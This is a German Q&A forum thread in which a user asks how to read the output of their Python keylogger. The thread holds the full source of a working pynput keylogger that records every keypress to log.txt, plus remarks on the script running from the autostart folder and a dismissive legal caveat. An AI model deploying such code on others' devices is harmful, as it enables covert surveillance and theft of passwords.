Wie kann ich die Buchstaben abrufen die mein Keylogger aufgezeichnet hat (keylogger.py)?

1 Antwort

Vom Beitragsersteller als hilfreich ausgezeichnet

Ich würde ja nach dem Code fragen allerdings habe ich gerade nicht im Kopf was die Nutzungsbedingungen hier in dem Bereich sind.

Jenachdem wie du die Keys speicherst rufst du die auch auf.

Speicherst du sie per for schleife Buchstabe für Buchstabe in eine Datei dann einfach die Datei wieder auslesen.

Sehr schwierig das ohne genauere Infos zum Code zu erklären da man nicht weiß wie es umgesetzt wird.

Anyways keylogger bei jemandem ohne Erlaubnis zu installieren ist strafbar bla bla und im Schlimmstenfall kann eine Gefängnisstrafe folgen bla bla also teste das nur auf deinen eigenen geräten zum lernen.


ThelittleConan 
Beitragsersteller
 02.02.2025, 14:44

Ich teste sie bei mir selbst
(Ich habe mir die erlaubnis gegeben)

ThelittleConan 
Beitragsersteller
 02.02.2025, 14:56
@Pinguingottin

Das ist der Code :
from pynput import keyboard

def on_press(key):

   with open("log.txt", "a") as log_file:

       try:

           log_file.write(f"{key.char}\n")

       except:

           log_file.write(f"{key}\n")

with keyboard.Listener(on_press=on_press) as listener:

   listener.join()

Pinguingottin  02.02.2025, 17:09
@ThelittleConan

Es wird in die log.txt gespeichert also log.txt öffnen und da steht alles drin.

Jenachdem wo der keylogger ist sollte auch die log.txt sein.

Pinguingottin  02.02.2025, 17:13
@ThelittleConan

Da wo es ausgefuhr wird.

Hast du keylogger.py in bspw Dokumente dann wird es unter Dokumente erstellt.

Solltest du keylogger in autostart Ordner haben speichert es die log.txt im Autostart Ordner bspw.

Pinguingottin  02.02.2025, 17:17
@Pinguingottin

Hier einmal Kommentare davor geklatscht um es ein wenig zu erklären (bevor jemand fragt, ja einfach per chatgpt generiert die Erklärung aber If it works it works)

# Import the required module from the 'pynput' library
from pynput import keyboard

# Define a function that will be called whenever a key is pressed
def on_press(key): 
   # Open (or create if not exists) "log.txt" in append mode
   with open("log.txt", "a") as log_file:      
       try:
           # Try to write the character of the key (for alphanumeric and symbols)
           log_file.write(f"{key.char}\n") 
       except AttributeError:
           # If the key does not have a 'char' attribute (e.g., special keys like Shift, Enter)
           log_file.write(f"{key}\n") 

# Set up a keyboard listener that listens for keypress events
with keyboard.Listener(on_press=on_press) as listener: 
   # Keep the listener running to capture key presses indefinitely
   listener.join() 
Pinguingottin  03.02.2025, 16:01
@ThelittleConan

Im ideal fall reicht das aus, ja.

Aber richtig installiert, arbeite nicht mit Windows aber meine ihr müsst da noch was machen aber da hilft dir ein YouTube Video wahrscheinlich eher.